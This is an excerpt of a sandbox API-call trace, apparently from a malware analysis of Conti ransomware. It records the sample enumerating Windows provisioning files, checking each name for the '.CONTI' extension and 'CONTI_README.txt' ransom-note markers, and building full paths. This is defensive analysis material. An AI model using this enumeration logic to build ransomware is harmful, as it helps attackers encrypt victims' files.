	[0109.655] lstrcpyW (in: lpString1=0x65b76b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.655] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.655] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml"
	[0109.655] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914503e2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914503e2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914503e2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml", cAlternateFileName="564__C~1.PRO")) returned 1
	[0109.655] lstrcmpiW (lpString1="564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.655] lstrcmpiW (lpString1="564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.655] StrStrIW (lpFirst="564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.655] StrStrIW (lpFirst="564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.656] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.656] lstrlenW (lpString="564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml") returned 66
	[0109.656] GetProcessHeap () returned 0x1720000
	[0109.656] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65b77f8
	[0109.656] lstrcpyW (in: lpString1=0x65b77f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.656] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.656] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml"
	[0109.656] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914503e2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914503e2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914503e2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml", cAlternateFileName="565__C~1.PRO")) returned 1
	[0109.656] lstrcmpiW (lpString1="565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.656] lstrcmpiW (lpString1="565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.656] StrStrIW (lpFirst="565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.656] StrStrIW (lpFirst="565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.656] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.656] lstrlenW (lpString="565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.656] GetProcessHeap () returned 0x1720000
	[0109.656] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x65b7fa8
	[0109.656] lstrcpyW (in: lpString1=0x65b7fa8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.656] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.656] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml"
	[0109.656] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914503e2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914503e2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914503e2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", cAlternateFileName="566__C~1.PRO")) returned 1
	[0109.656] lstrcmpiW (lpString1="566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.656] lstrcmpiW (lpString1="566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.656] StrStrIW (lpFirst="566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.656] StrStrIW (lpFirst="566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.656] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.656] lstrlenW (lpString="566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned 79
	[0109.656] GetProcessHeap () returned 0x1720000
	[0109.656] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x154) returned 0x1814fe0
	[0109.656] lstrcpyW (in: lpString1=0x1814fe0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.656] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.656] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml"
	[0109.657] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9147664e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9147664e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9147664e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", cAlternateFileName="567__C~1.PRO")) returned 1
	[0109.657] lstrcmpiW (lpString1="567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.657] lstrcmpiW (lpString1="567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.657] StrStrIW (lpFirst="567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.657] StrStrIW (lpFirst="567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.657] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.657] lstrlenW (lpString="567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned 79
	[0109.657] GetProcessHeap () returned 0x1720000
	[0109.657] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x154) returned 0x1815418
	[0109.657] lstrcpyW (in: lpString1=0x1815418, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.657] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.657] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml"
	[0109.657] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9147664e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9147664e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9147664e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="568__C~1.PRO")) returned 1
	[0109.657] lstrcmpiW (lpString1="568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.657] lstrcmpiW (lpString1="568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.657] StrStrIW (lpFirst="568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.657] StrStrIW (lpFirst="568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.657] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.657] lstrlenW (lpString="568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml") returned 70
	[0109.657] GetProcessHeap () returned 0x1720000
	[0109.657] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x17fa8a0
	[0109.657] lstrcpyW (in: lpString1=0x17fa8a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.657] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.657] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml"
	[0109.657] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9147664e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9147664e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9147664e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="569__C~1.PRO")) returned 1
	[0109.657] lstrcmpiW (lpString1="569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.657] lstrcmpiW (lpString1="569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.657] StrStrIW (lpFirst="569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.657] StrStrIW (lpFirst="569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.658] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.658] lstrlenW (lpString="569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml") returned 70
	[0109.658] GetProcessHeap () returned 0x1720000
	[0109.658] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x180bd30
	[0109.658] lstrcpyW (in: lpString1=0x180bd30, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.658] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.658] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml"
	[0109.658] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902ba650, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902ba650, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902ba650, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml", cAlternateFileName="56__CO~1.PRO")) returned 1
	[0109.658] lstrcmpiW (lpString1="56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.658] lstrcmpiW (lpString1="56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.658] StrStrIW (lpFirst="56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.658] StrStrIW (lpFirst="56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.658] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.658] lstrlenW (lpString="56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.658] GetProcessHeap () returned 0x1720000
	[0109.658] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x65b80f0
	[0109.658] lstrcpyW (in: lpString1=0x65b80f0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.658] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.658] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\56__Connections_Cellular_Sercomtel (Brazil)_i0$(__MVID)@WAP.provxml"
	[0109.658] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9149c8b9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9149c8b9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9149c8b9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml", cAlternateFileName="570__C~1.PRO")) returned 1
	[0109.658] lstrcmpiW (lpString1="570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.658] lstrcmpiW (lpString1="570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.658] StrStrIW (lpFirst="570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.658] StrStrIW (lpFirst="570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.658] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.658] lstrlenW (lpString="570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml") returned 70
	[0109.658] GetProcessHeap () returned 0x1720000
	[0109.658] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x65b88b0
	[0109.658] lstrcpyW (in: lpString1=0x65b88b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.658] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.658] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml"
